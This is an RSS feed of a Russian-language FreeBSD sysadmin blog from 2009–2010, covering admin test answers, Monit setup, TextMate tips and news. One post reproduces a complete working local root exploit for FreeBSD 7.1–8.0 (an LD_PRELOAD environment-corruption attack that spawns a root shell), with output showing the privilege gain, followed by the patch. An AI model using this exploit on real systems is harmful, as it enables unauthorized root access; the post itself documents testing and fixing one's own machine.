<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>/home/DeNn/blog</title>
	
	<link>http://www.denn.dp.ua</link>
	<description>mount /dev/brain || tail -f /var/log/thoughts &gt;&gt; /home/DeNn/blog</description>
	<lastBuildDate>Sat, 15 May 2010 16:40:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/denn" /><feedburner:info uri="denn" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>о любви</title>
		<link>http://feedproxy.google.com/~r/denn/~3/FjD92qCpMls/</link>
		<comments>http://www.denn.dp.ua/2010/03/o-lyubvi/#comments</comments>
		<pubDate>Sun, 21 Mar 2010 17:07:44 +0000</pubDate>
		<dc:creator>DeNn</dc:creator>
				<category><![CDATA[freebsd]]></category>
		<category><![CDATA[Новости]]></category>

		<guid isPermaLink="false">http://denn.dp.ua/?p=227</guid>
		<description><![CDATA[На днях настраивал сервер под Debian и в очередной раз убеждаюсь, что FreeBSD это хорошо. В ней все чисто, все лежит на своих места. Просто ляля :) No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<p>На днях настраивал сервер под Debian и в очередной раз убеждаюсь, что FreeBSD это хорошо. В ней все чисто, все лежит на своих места. Просто ляля :)</p>


<p>No related posts.</p><img src="http://feeds.feedburner.com/~r/denn/~4/FjD92qCpMls" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.denn.dp.ua/2010/03/o-lyubvi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.denn.dp.ua/2010/03/o-lyubvi/</feedburner:origLink></item>
		<item>
		<title>Кой-какие вопросы из тестов</title>
		<link>http://feedproxy.google.com/~r/denn/~3/WRXgrURXP6I/</link>
		<comments>http://www.denn.dp.ua/2010/03/kojj-kakie-voprosy-iz-testov/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 11:22:22 +0000</pubDate>
		<dc:creator>DeNn</dc:creator>
				<category><![CDATA[на память]]></category>
		<category><![CDATA[Новости]]></category>
		<category><![CDATA[скрипт]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[Велосипед]]></category>
		<category><![CDATA[вопросы]]></category>

		<guid isPermaLink="false">http://denn.dp.ua/?p=215</guid>
		<description><![CDATA[Приведу вопросы из тестов на вакансии админов и мои ответы За правильность и вред нанесенный вашей психике и системе ответственности не несу. - вручную отправить письмо с помощью telnet (прислать copy/past терминала) $ telnet localhost 25 Trying 127.0.0.1&#8230; Connected to localhost. Escape character is &#8216;^]&#8217;. 220 hostname ESMTP Sendmail 8.14.3/8.14.3; Mon, 1 Mar 2010 14:22:42 [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Приведу вопросы из тестов на вакансии админов и мои ответы<br />
За правильность и вред нанесенный вашей психике и системе ответственности не несу.<br />
<span id="more-215"></span></p>
<blockquote><p>- вручную отправить письмо с помощью telnet (прислать copy/past терминала)</p></blockquote>
<p>$ telnet localhost 25<br />
Trying 127.0.0.1&#8230;<br />
Connected to localhost.<br />
Escape character is &#8216;^]&#8217;.<br />
220 hostname ESMTP Sendmail 8.14.3/8.14.3; Mon, 1 Mar 2010 14:22:42 +0200 (EET)<br />
ehlo lo<br />
250-hostname Hello localhost [127.0.0.1], pleased to meet you<br />
250-ENHANCEDSTATUSCODES<br />
250-PIPELINING<br />
250-8BITMIME<br />
250-SIZE<br />
250-DSN<br />
250-ETRN<br />
250-DELIVERBY<br />
250 HELP<br />
mail from: user@denn.dp.ua<br />
250 2.1.0 user@denn.dp.ua&#8230; Sender ok<br />
rcpt to: vasya@gmail.com<br />
250 2.1.5 vasya@gmail.com&#8230; Recipient ok<br />
data<br />
354 Enter mail, end with &#171;.&#187; on a line by itself<br />
Hey you, don&#8217;t sleep!<br />
.<br />
250 2.0.0 o1RJiWSr001614 Message accepted for delivery</p>
<blockquote><p>- Написать регэксп, под который попадут следующие строки<br />
www.mydomain.com<br />
www.MyDomain.com<br />
www.my-domain.com<br />
www.my &#8212; domain.com<br />
www.My &#8212; Domain.com<br />
и не попадут следующие:<br />
www.My-Domain.com<br />
www.otherdomain.com<br />
www.motherdomain.com
</p></blockquote>
<p>/www\.[mM]y([dD]|\-d)omain\.com/</p>
<p>пробел?!</p>
<blockquote><p>- что из нижеперечисленного проматчит паттерн /w{,3}./ www.domain<br />
ww.domain wwww.domain wwwww.domain w.domain .domain domain </p></blockquote>
<p>Всё кроме wwww.domain wwwww.domain и domain.</p>
<blockquote><p>- как скопировать все файлы заканчивающиеся на .txt в файлы с соотв.<br />
началом, но заканчивающимися на .new.txt, например было file1.txt стало<br />
file1.new.txt</p></blockquote>
<p>Пример 9-17 Advanced Bash-Scripting Guide<br />
cat ./rename_suffix.sh</p>
<pre>#!/bin/sh
ARGS=2
E_BADARGS=65
if [ $# -ne "$ARGS" ]
then
  echo "Use: `basename $0` old_file_suffix new_file_suffix"
  exit $E_BADARGS
fi
for filename in *.$1
do
  mv $filename ${filename%$1}$2
done
exit 0</pre>
<p>./rename_suffix.sh txt new.txt</p>
<blockquote><p>- заменить во всех .txt файлах внутри некоей директории dir (и ее поддиректориях соответственно ) URL &#8216;http://www.mydomain.ru/&#8217; на &#8216;http://mydomain.su/&#8217;</p></blockquote>
<p>find ./ -name &#171;*.txt&#187; -exec perl -pi -e &#8216;s/www\.mydomain\.ru/mydomain\.su/g&#8217; {} \; -print</p>
<blockquote><p>- дано дерево из директорий, поддиректорий и файлов вложенности N. Имена файлов и названия директорий &#8212; шестнадцатеричные числа. Надо удалить все файлы, которые не менялись больше недели.</p></blockquote>
<p>find ./ -type f -mtime  +7 -name &#171;*.*&#187; -exec rm {} \;  -print</p>
<blockquote><p>- какой из нижеприведенных хедеров неправильный:<br />
X-Forwarded-For: 118.11.11.118<br />
Location: index.html<br />
Accept-Ranges: bytes </p></blockquote>
<p>Location: index.html</p>
<blockquote><p>- что нужно прописать в конфиг апача, чтобы URL<br />
http://domain.com/script обрабатывался php скриптом</p></blockquote>
<p>Добавить в httpd.conf AddType application/x-httpd-php script</p>
<blockquote><p>- как сделать так, чтобы при отсутствии файлов index.htm и т.п. сервер НЕ показывал бы содержимое директории.</p></blockquote>
<p>добавить в .htaccess Options -Indexes   </p>
<blockquote><p>Задача:</p>
<p>На хранилище есть некоторое количество бекапов, именованых по следующему<br />
формату:<br />
имя.ip_сервера-ГГММДД_ЧЧММСС.tgz &#8212; пример<br />
backup.10.251.69.204-100210_150001.tgz,<br />
набор ip адресов ограниченный, может браться из файла построчно.<br />
Бекапы в идеале поступают ежечасно, но могут теряться</p>
<p>Необходимо организовать ротацию (переименование, удаление устаревших)<br />
бекапов по принципу<br />
1) 24 ежечасных за последние сутки, 7 дневных за неделю, 4 и/или5<br />
недельных за месяц , 12 ежемесячных за год(где количество 24/7/4/12<br />
приведено для примера, должно задаваться переменными)<br />
вновь поступившие бекапы вытесняют старые.<br />
2) переименование прозводить так:<br />
backup.10.251.69.204-100210_140001.tgz &#8212; ежечасный, не трогаем<br />
backup.10.251.69.204-100210_150001.tgz &#8212; ежечасный, не трогаем<br />
daily.backup.10.251.69.204-100210_150001.tgz &#8212; дневной<br />
weekly.backup.10.251.69.204-100210_150001.tgz &#8212; недельный<br />
montly.backup.10.251.69.204-100210_150001.tgz &#8212; месячный<br />
или предложить свою систему именования/хранения<br />
3) если для определенного ip не появилось новых бекапов &#8212; т.е. например<br />
на текущий момент у нас есть меньше 24 ежечасных, ротацию не делать,<br />
ничего не удалять</p>
<p>Можно использовать bash и средства shell, в крайнем случае perl<br />
(нежелательно), php и подобные нельзя.<br />
Считать хранилище одноуровневым, папки использовать нельзя, перемещять<br />
backup файлы за пределы хранилища нельзя.<br />
Можно использовать временные файлы.</p></blockquote>
<p>Вот такой вышел скрипт:</p>
<pre>
#!/usr/local/bin/bash
txt="./ip_list.txt" #путь к файлу с ip
path_back="/home/denn/testi" #путь к папке хранилища
var=0
hourlyMax=24 #Максимально часовых
dailyMax=7 #Максимально дневных
weeklyMax=4 #Максимально недельных
montlyMax=12 #Максимально годовых

cat $txt | while read ip; do
    var=$(($var+1))
        hourly[$var]=`ls $path_back | grep -e '^backup.'$ip | wc -l`
        daily[$var]=`ls $path_back | grep -e '^daily.backup.'$ip | wc -l`
        weekly[$var]=`ls $path_back | grep -e '^weekly.backup.'$ip | wc -l`
        montly[$var]=`ls $path_back | grep -e '^montly.backup.'$ip | wc -l`

#Проверяем количество часовых
    if  (( "${hourly[$var]}" > "$hourlyMax" )); then
    temp=$((${hourly[$var]}-$hourlyMax))
    rm `ls -1rt | grep -e '^backup.'$ip | head -$temp`
    fi

#Проверяем количество дневных
    if (( "${daily[$var]}" > "$dailyMax" )); then
    temp=$((${daily[$var]}-$dailyMax))
    rm `ls -1rt | grep -e '^daily.backup.'$ip | head -$temp`
    fi

#Проверяем количество недельных
    if (( "${weekly[$var]}" > "$weeklyMax" )); then
    temp=$((${weekly[$var]}-$weeklyMax))
    rm `ls -1rt | grep -e '^weekly.backup.'$ip | head -$temp`
    fi

#Проверяем количество месячных
    if (( "${montly[$var]}" > "$montlyMax" )); then
    temp=$((${montly[$var]}-$montlyMax))
    rm `ls -1rt | grep -e '^montly.backup.'$ip | head -$temp`
    fi
done
</pre>
<p>В принципе можно убрать массивы и заменить к примеру на такое:<br />
if (( `ls $path_back | grep -e &#8216;^backup.&#8217;$ip | wc -l` > &#171;$hourlyMax&#187; )); then<br />
echo &#171;hourly result:&#187; ${hourly[$var]} &#171;need remove&#187;<br />
temp=$((`ls $path_back | grep -e &#8216;^backup.&#8217;$ip | wc -l` &#8212; $hourlyMax))<br />
но красивее с массивом смотрится.</p>
<p>Ругайте :)</p>


<p>No related posts.</p><img src="http://feeds.feedburner.com/~r/denn/~4/WRXgrURXP6I" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.denn.dp.ua/2010/03/kojj-kakie-voprosy-iz-testov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.denn.dp.ua/2010/03/kojj-kakie-voprosy-iz-testov/</feedburner:origLink></item>
		<item>
		<title>Textmate: Советы по комментированию кода</title>
		<link>http://feedproxy.google.com/~r/denn/~3/I5VoYTKjQoM/</link>
		<comments>http://www.denn.dp.ua/2010/03/textmate-sovety-po-kommentirovaniyu-koda/#comments</comments>
		<pubDate>Mon, 08 Mar 2010 22:05:33 +0000</pubDate>
		<dc:creator>DeNn</dc:creator>
				<category><![CDATA[на память]]></category>
		<category><![CDATA[textmate]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://denn.dp.ua/?p=208</guid>
		<description><![CDATA[Вот парочка комбинаций для textmate: 1. ⌘+/ Закомментирует строку, несколько строк или блок кода. Нажатие еще раз снимет комментарий. 2. Alt+ ⌘+/ Блок комментария. 3. Набераем &#171;head&#187; (без кавычек) и жмякаем Tab. Вставит шапку # # «file» # «project» # # Created by Denis on 2010-03-08. # Copyright 2010 __MyCompanyName__. All rights reserved. # 4. [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Вот парочка комбинаций для textmate:</p>
<p>1. ⌘+/</p>
<p>Закомментирует строку, несколько строк или блок кода. Нажатие еще раз снимет комментарий.</p>
<p>2. Alt+ ⌘+/<br />
<span id="more-208"></span><br />
Блок комментария.</p>
<p>3. Набераем &#171;head&#187; (без кавычек) и жмякаем Tab.</p>
<p>Вставит шапку</p>
<pre>#
#  «file»
#  «project»
#
#  Created by Denis on 2010-03-08.
#  Copyright 2010 __MyCompanyName__. All rights reserved.
# </pre>
<p>4. Ctrl+Shift+B</p>
<p>Вставит баннер</p>
<pre># ==========
# = Banner =
# ==========
</pre>
<p>5. Набираем &#171;todo&#187; и жмем Tab.</p>
<p>Вставит комментарий #TODO</p>


<p>No related posts.</p><img src="http://feeds.feedburner.com/~r/denn/~4/I5VoYTKjQoM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.denn.dp.ua/2010/03/textmate-sovety-po-kommentirovaniyu-koda/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.denn.dp.ua/2010/03/textmate-sovety-po-kommentirovaniyu-koda/</feedburner:origLink></item>
		<item>
		<title>Онлайн-выпуск BSDMagazine</title>
		<link>http://feedproxy.google.com/~r/denn/~3/HVEdpTVJeWA/</link>
		<comments>http://www.denn.dp.ua/2010/03/onlajjn-vypusk-bsdmagazine/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 16:49:50 +0000</pubDate>
		<dc:creator>DeNn</dc:creator>
				<category><![CDATA[freebsd]]></category>
		<category><![CDATA[Новости]]></category>
		<category><![CDATA[bsd]]></category>
		<category><![CDATA[frebsd]]></category>
		<category><![CDATA[pdf]]></category>

		<guid isPermaLink="false">http://denn.dp.ua/?p=204</guid>
		<description><![CDATA[BSD Magazine (прошлые и будущие выпуски) теперь свободно доступен онлайн. BSDMagazine — журнал об операционных системах семейства BSD — Free/Open/Net/DragonFly BSD, MacOS, SunOS и дистрибутивах на их основе. С недавних пор журнал перестал публиковаться на бумаге, выпуск за март 2010 является первым онлайн-изданием. http://www.bsdmag.org Язык журнала английский. Содержание мартовского номера: Free Issue to Download! Buil [...]


Related posts:<ol><li><a href='http://www.denn.dp.ua/2009/11/upgrade-to-freebsd-8-0-rc3/' rel='bookmark' title='Permanent Link: Upgrade to FreeBSD 8.0-RC3'>Upgrade to FreeBSD 8.0-RC3</a></li>
<li><a href='http://www.denn.dp.ua/2009/11/frebsd-8-release/' rel='bookmark' title='Permanent Link: FreeBSD 8.0-RELEASE'>FreeBSD 8.0-RELEASE</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" title="BSDmag" src="http://bsdmag.org/system/banners/files/4435/original/baner.jpg?2010" alt="" width="379" height="165" /></p>
<p>BSD Magazine (прошлые и будущие выпуски) теперь свободно доступен онлайн.</p>
<p><strong>BSDMagazine</strong> — журнал об операционных системах семейства BSD — Free/Open/Net/DragonFly BSD, MacOS, SunOS и дистрибутивах на их основе. С недавних пор журнал перестал публиковаться на бумаге, выпуск за март 2010 является первым онлайн-изданием.</p>
<p>http://www.bsdmag.org</p>
<p>Язык журнала английский.</p>
<p>Содержание <a href="http://bsdmag.org/magazine/1021-bsd-as-a-desktop" target="_blank">мартовского номера:</a></p>
<li>Free Issue to Download!</li>
<li>Buil Your Own FreeBSD Update Server</li>
<li>Using OpenBSD and PF as a Virtual Firewall for Windows</li>
<li>Keeping FreeBSD Applications Up-To-Date</li>
<li>Spam Control with a stock OpenBSD install</li>
<li>Choosing and Installing a Window Manager with FreeBSD</li>
<li>BSD Live Desktops</li>
<li>BSD goes to the Office: Can BSD compete in a real life consulting workplace?</li>


<p>Related posts:<ol><li><a href='http://www.denn.dp.ua/2009/11/upgrade-to-freebsd-8-0-rc3/' rel='bookmark' title='Permanent Link: Upgrade to FreeBSD 8.0-RC3'>Upgrade to FreeBSD 8.0-RC3</a></li>
<li><a href='http://www.denn.dp.ua/2009/11/frebsd-8-release/' rel='bookmark' title='Permanent Link: FreeBSD 8.0-RELEASE'>FreeBSD 8.0-RELEASE</a></li>
</ol></p><img src="http://feeds.feedburner.com/~r/denn/~4/HVEdpTVJeWA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.denn.dp.ua/2010/03/onlajjn-vypusk-bsdmagazine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.denn.dp.ua/2010/03/onlajjn-vypusk-bsdmagazine/</feedburner:origLink></item>
		<item>
		<title>VirtualBox на FreeBSD без X11</title>
		<link>http://feedproxy.google.com/~r/denn/~3/12p-bW5jpIk/</link>
		<comments>http://www.denn.dp.ua/2010/02/virtualbox-na-freebsd-bez-x11/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 15:07:34 +0000</pubDate>
		<dc:creator>DeNn</dc:creator>
				<category><![CDATA[freebsd]]></category>
		<category><![CDATA[virtualbox]]></category>
		<category><![CDATA[хабр]]></category>

		<guid isPermaLink="false">http://denn.dp.ua/?p=201</guid>
		<description><![CDATA[Недавно на хабре появилась статья о том, как можно поднять VirtualBox на FreeBSD без X11. Основной проблемой порта VirtualBox является то, что вырезан vRDP сервер, который позволяет подключаться к виртуальной машине любым rdp клиентом. Как собрать VirtualBox с vnc-сервером читам тут. No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Недавно на <a href="http://habrahabr.ru">хабре</a> появилась статья о том, как можно поднять <a href="http://ru.wikipedia.org/wiki/VirtualBox">VirtualBox</a> на FreeBSD без X11. Основной проблемой порта VirtualBox является то, что вырезан vRDP сервер, который позволяет подключаться к виртуальной машине любым rdp клиентом.<br />
Как собрать VirtualBox с vnc-сервером читам <a href="http://habrahabr.ru/blogs/bsdelniki/84469/">тут</a>.</p>


<p>No related posts.</p><img src="http://feeds.feedburner.com/~r/denn/~4/12p-bW5jpIk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.denn.dp.ua/2010/02/virtualbox-na-freebsd-bez-x11/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.denn.dp.ua/2010/02/virtualbox-na-freebsd-bez-x11/</feedburner:origLink></item>
		<item>
		<title>Monit: сделим за демонами.</title>
		<link>http://feedproxy.google.com/~r/denn/~3/xTE2Wxdp40I/</link>
		<comments>http://www.denn.dp.ua/2009/12/monit-sdelim-za-demonami/#comments</comments>
		<pubDate>Fri, 04 Dec 2009 16:19:54 +0000</pubDate>
		<dc:creator>DeNn</dc:creator>
				<category><![CDATA[freebsd]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[monit]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://denn.dp.ua/?p=183</guid>
		<description><![CDATA[Monit — это бесплатное приложение с открытым исходным кодом, обеспечивающее комплексный мониторинг UNIX-like систем. С его помощью мы можем мониторить: Состояние серверов (доступность, потребление ресурсов). Мониторинг демонов. Мониторинг сетевых сервисов (возможность подключения и корректность ответа). Выполнение встроенных (запуск\остановка\перезапуск) или собственных (скрипты). Уведомление на email или в централизованный web-интерфейс M\Monit. Поддерживаются все unix-like системы: ОС GNU\Linux [...]


Related posts:<ol><li><a href='http://www.denn.dp.ua/2009/12/kriticheskaya-lokalnaya-uyazvimost-v-freebsd-7-1-7-2-8-0/' rel='bookmark' title='Permanent Link: Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0'>Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Monit — это бесплатное приложение с открытым исходным кодом, обеспечивающее комплексный мониторинг UNIX-like систем.<br />
С его помощью мы можем мониторить:</p>
<li>Состояние серверов (доступность, потребление ресурсов).</li>
<li>Мониторинг демонов.</li>
<li>Мониторинг сетевых сервисов (возможность подключения и корректность ответа).</li>
<li>Выполнение встроенных (запуск\остановка\перезапуск) или собственных (скрипты).</li>
<li>Уведомление на email или в централизованный web-интерфейс M\Monit.</li>
<p>Поддерживаются все unix-like системы: ОС GNU\Linux (есть в большинстве пакетных систем), FreeBSD (есть в портах), OpenBSD, Solaris, MacOS X.<br />
<span id="more-183"></span><br />
Установка и настройка займет не более 15 &#8212; 20 мин.<br />
И так приступим:</p>
<pre>cd /usr/ports/sysutils/monit
make install clean</pre>
<p>Переименовываем конфиг:</p>
<pre>mv /usr/local/etc/monitrc.sample /usr/local/etc/monitrc</pre>
<p>и расскоментируем лишь одну строчку <em>include /usr/local/etc/monit.d/*</em><br />
Теперь все файлы конфигурации из /usr/local/etc/monit.d/ будут автоматически подхватыватся monit-ом.<br />
Для удобства разобьем конфигурационный файл на main.conf (общие настройки) и с названием сервиса (к примеру monit-nginx.conf, monit-exim.conf и т.д.)</p>
<p><strong>main.conf</strong> это минимальный конфиг</p>
<pre>set daemon  120 # Частота проверки сервисов.
set logfile syslog facility log_daemon # IP\hostname почтового сервера, через который пойдут уведомления.
set mailserver localhost,
set eventqueue # Разрешить очередь уведомлений.
        basedir /var/log/monit # путь к каталогу, где будут храниться уведомления.
        slots 100 # Максимальное количество уведомлений в очереди.
set mail-format { from: monit@youserver.com } # От какого имени рассылать уведомления.
set alert admin@youserver.com #куда сваливать все уведомления
#set alert support@youserver.com { timeout } # Ящик для критических уведомлений (падение сервера\демонов).
</pre>
<p><strong>monit-apache.conf</strong></p>
<pre>check process apache with pidfile /var/run/httpd.pid # Название и PID
start program = "/usr/local/etc/rc.d/apache22 start" # Команда запуска.
stop program  = "/usr/local/etc/rc.d/apache22 stop" # Команда остановки.
        if cpu > 60% for 2 cycles then alert # Если в течение двух циклов потребление CPU > 60% - уведомить.
        if cpu > 80% for 5 cycles then restart # А если за 5 циклов больше 80% - перезапустить.
</pre>
<p><strong>monit-ssh.conf</strong></p>
<pre>check process sshd with pidfile /var/run/sshd.pid
start program = "/etc/rc.d/sshd start"
stop program  = "/etc/rc.d/sshd stop"
</pre>
<p>Это минимум, что можно описать, по этой логике пишется такой блок под каждый демон, который нужно мониторить. Полее подробно можно почитать в <a href="http://mmonit.com/monit/documentation/monit.html">он-лайн доке</a><br />
Разрешаем запуск monit&#8217;a в rc.conf и запускаем:</p>
<pre>echo 'monit_enable="YES"' >> /etc/rc.conf
/usr/local/etc/rc.d/monit start</pre>
<p>Теперь выключаем апач и наблюдаем за логом:</p>
<pre>/usr/local/etc/rc.d/apache22 stop
tail -f /var/log/messages
Dec  4 18:15:21 ua monit[696]: 'apache' process is not running</pre>
<p>После чего на почту приходит одно письмо с тем, что Apache не запущен и еще одно с уведомлением, что Apache был запущен</p>


<p>Related posts:<ol><li><a href='http://www.denn.dp.ua/2009/12/kriticheskaya-lokalnaya-uyazvimost-v-freebsd-7-1-7-2-8-0/' rel='bookmark' title='Permanent Link: Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0'>Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0</a></li>
</ol></p><img src="http://feeds.feedburner.com/~r/denn/~4/xTE2Wxdp40I" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.denn.dp.ua/2009/12/monit-sdelim-za-demonami/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.denn.dp.ua/2009/12/monit-sdelim-za-demonami/</feedburner:origLink></item>
		<item>
		<title>Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0</title>
		<link>http://feedproxy.google.com/~r/denn/~3/-F_SJvmBnSE/</link>
		<comments>http://www.denn.dp.ua/2009/12/kriticheskaya-lokalnaya-uyazvimost-v-freebsd-7-1-7-2-8-0/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 13:27:06 +0000</pubDate>
		<dc:creator>DeNn</dc:creator>
				<category><![CDATA[freebsd]]></category>
		<category><![CDATA[Новости]]></category>

		<guid isPermaLink="false">http://denn.dp.ua/?p=175</guid>
		<description><![CDATA[Сегодня было опубликовано сообщение об уязвимости, позволяющей повысить пользовательские привилегии в последних версиях ОС FreeBSD (7.1-8.0). Испытал у себя. cat ./w00t.sh #!/bin/sh echo ** FreeBSD local r00t zeroday echo by Kingcope echo November 2009 cat > env.c program.c


Related posts:<ol><li><a href='http://www.denn.dp.ua/2009/11/upgrade-to-freebsd-8-0-rc3/' rel='bookmark' title='Permanent Link: Upgrade to FreeBSD 8.0-RC3'>Upgrade to FreeBSD 8.0-RC3</a></li>
<li><a href='http://www.denn.dp.ua/2009/11/frebsd-8-release/' rel='bookmark' title='Permanent Link: FreeBSD 8.0-RELEASE'>FreeBSD 8.0-RELEASE</a></li>
<li><a href='http://www.denn.dp.ua/2009/12/monit-sdelim-za-demonami/' rel='bookmark' title='Permanent Link: Monit: сделим за демонами.'>Monit: сделим за демонами.</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Сегодня <a href="http://www.theregister.co.uk/2009/12/01/freebsd_root_bug/">было опубликовано</a> сообщение об уязвимости, позволяющей повысить пользовательские привилегии в последних версиях ОС FreeBSD (7.1-8.0).</p>
<p>Испытал у себя.<br />
<span id="more-175"></span><br />
cat ./w00t.sh</p>
<pre>#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
       extern char **environ;
       environ = (char**)malloc(8096);

       environ[0] = (char*)malloc(1024);
       environ[1] = (char*)malloc(1024);
       strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

       execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
       extern char **environ;
       environ=NULL;
       system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env</pre>
<pre>$ uname -v
FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009     root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC
$ whoami
denn
$ ./w00t.sh
dev env env.c nginx.conf php5-fpm program.c program.o w00t.sh w00t.so.1.0 FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# whoami
root
# </pre>
<p>Применяем патч, для закрытия дыры:</p>
<pre>fetch http://people.freebsd.org/~cperciva/rtld.patch
rtld.patch                                    100% of  846  B  960 kBps
# cd /usr/src/libexec/rtld-elf/
# patch -p0 < /home/denn/rtld.patch
Hmm...  Looks like a unified diff to me...
The text leading up to this was:
--------------------------
|Index: rtld.c
|===================================================================
|--- rtld.c	(revision 199977)
|+++ rtld.c	(working copy)
--------------------------
Patching file rtld.c using Plan A...
Hunk #1 succeeded at 366.
done
make &#038;&#038; make install
</pre>


<p>Related posts:<ol><li><a href='http://www.denn.dp.ua/2009/11/upgrade-to-freebsd-8-0-rc3/' rel='bookmark' title='Permanent Link: Upgrade to FreeBSD 8.0-RC3'>Upgrade to FreeBSD 8.0-RC3</a></li>
<li><a href='http://www.denn.dp.ua/2009/11/frebsd-8-release/' rel='bookmark' title='Permanent Link: FreeBSD 8.0-RELEASE'>FreeBSD 8.0-RELEASE</a></li>
<li><a href='http://www.denn.dp.ua/2009/12/monit-sdelim-za-demonami/' rel='bookmark' title='Permanent Link: Monit: сделим за демонами.'>Monit: сделим за демонами.</a></li>
</ol></p><img src="http://feeds.feedburner.com/~r/denn/~4/-F_SJvmBnSE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.denn.dp.ua/2009/12/kriticheskaya-lokalnaya-uyazvimost-v-freebsd-7-1-7-2-8-0/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.denn.dp.ua/2009/12/kriticheskaya-lokalnaya-uyazvimost-v-freebsd-7-1-7-2-8-0/</feedburner:origLink></item>
		<item>
		<title>Make love, not war</title>
		<link>http://feedproxy.google.com/~r/denn/~3/QleJfoxEsKw/</link>
		<comments>http://www.denn.dp.ua/2009/11/make-love-not-war/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 14:27:50 +0000</pubDate>
		<dc:creator>DeNn</dc:creator>
				<category><![CDATA[freebsd]]></category>
		<category><![CDATA[easter egg]]></category>
		<category><![CDATA[fun]]></category>

		<guid isPermaLink="false">http://denn.dp.ua/?p=170</guid>
		<description><![CDATA[Сколько живи и все равно, что то будет удивлять и радовать в этом мире :) Впервые узнал о этом пасхальном яйце во FreeBSD: No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Сколько живи и все равно, что то будет удивлять и радовать в этом мире :)<br />
Впервые узнал о этом пасхальном яйце во FreeBSD:<br />
<span id="more-170"></span><br />
<img src="http://denn.dp.ua/wp-content/uploads/2009/11/Снимок-экрана-1.png" alt="Снимок экрана 1" title="Снимок экрана 1" width="177" height="121" class="aligncenter size-full wp-image-172" /></p>


<p>No related posts.</p><img src="http://feeds.feedburner.com/~r/denn/~4/QleJfoxEsKw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.denn.dp.ua/2009/11/make-love-not-war/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
